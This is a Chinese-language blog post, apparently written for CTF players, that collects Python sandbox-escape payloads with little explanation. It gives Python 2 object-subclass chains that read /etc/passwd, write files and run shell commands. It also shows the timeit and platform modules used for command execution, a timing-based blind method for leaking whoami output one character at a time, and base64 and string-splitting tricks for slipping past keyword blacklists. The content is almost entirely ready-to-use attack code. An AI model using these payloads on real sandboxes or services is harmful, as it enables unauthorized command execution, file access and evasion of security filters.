Python 沙箱逃逸(payload总结)

这里就不解释具体的原理了,,仅做payload的总结

 

1.

>>>().__class__.__bases__[0].__subclasses__()[40](“/etc/passwd”).read()

 

//<type ‘file’>   读文件

 

2.

>>> ().__class__.__bases__[0].__subclasses__()[40](“123.txt”,’w’).write(‘asdfqwer’)

//<type ‘file’>   写文件

 

3.

>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13][‘eval’](‘__import__(“os”).popen(“ls”).read()’)

 

//<class ‘warnings.catch_warnings’>  命令执行

 

>>>().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[‘linecache’].os.system(‘ls’)

//<class ‘warnings.catch_warnings’>  命令执行

 

4.timeit

>>> import timeit

>>> timeit.timeit(“__import__(‘os’).system(‘ls’)”,number=1)

这个库主要是用来计时用的,用来计算函数的完成时间,后面的number=1表示函数只运行一次

提到timeit就由涉及到time based rce,这点跟mysq的时间延时注入很像,通过比对返回时间来获取文件内容

这里先来讲shell语句

if [ 1=1 ]; then sleep 2;fi;

if [ 1=2 ];then sleep 2 ;fi;

这里其实跟时间盲注是一个道理,,判断字符串然后返回时间,通过返回时间来进行比对,最终获取字符串

>> timeit.timeit(“__import__(‘os’).system(‘if [ $(whoami|cut -c 1) = y ];then sleep 2;fi;’)”, number = 1)
2.016458034515381
>>> timeit.timeit(“__import__(‘os’).system(‘if [ $(whoami|cut -c 1) = q ];then sleep 2;fi;’)”, number = 1)
0.009487152099609375

这里跟之前一样都是通过timeit这个函数来返回函数运算时间,这里可以注意看返回时间,正确的为2s,错误的几乎秒回

这里再解释下shell语句

whoami|cut -c 1 即为运行whoami,然后返回root或者用户名之类的,然后通过管道符传过来只截取一位(cut -c 1),也就是说如果

whoami之后显示为root,通过cut -c 1后只剩下了r,真的跟时间盲注一个道理!

那么在服务器没有回显的时候,就可以通过这种方法来读取flag,在有些文章还加上了管道符base32,这里其实就是利用base32的特性(只有大写字母和数字和等号),在之后的比对字符串比较好构造,,不像base64,,小写大写数字等号全有。。但是这个不影响整个匹配过程~

 

 

5.platform

>>>import platform
>>> platform.popen(‘id’,mode=’r’,bufsize=1).read()

这个库主要是用来识别系统什么的,这里其实最重要的是引入了popen来执行命令,因此也可用作命令执行

platform.popen(‘ls’).read()

 

 

6.基于黑名单的

>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].__dict__[‘sy’+’stem’](‘ls’)

这里使用dict来拼接黑名单函数

 

 

>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘b3M=’.decode(‘base64’)].__dict__[‘c3lzdGVt’.decode(‘base64’)](‘ls’)

这里使用base64来拼接黑名单函数

 

 

 

 

 

 

 

 

 

 

 

 

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论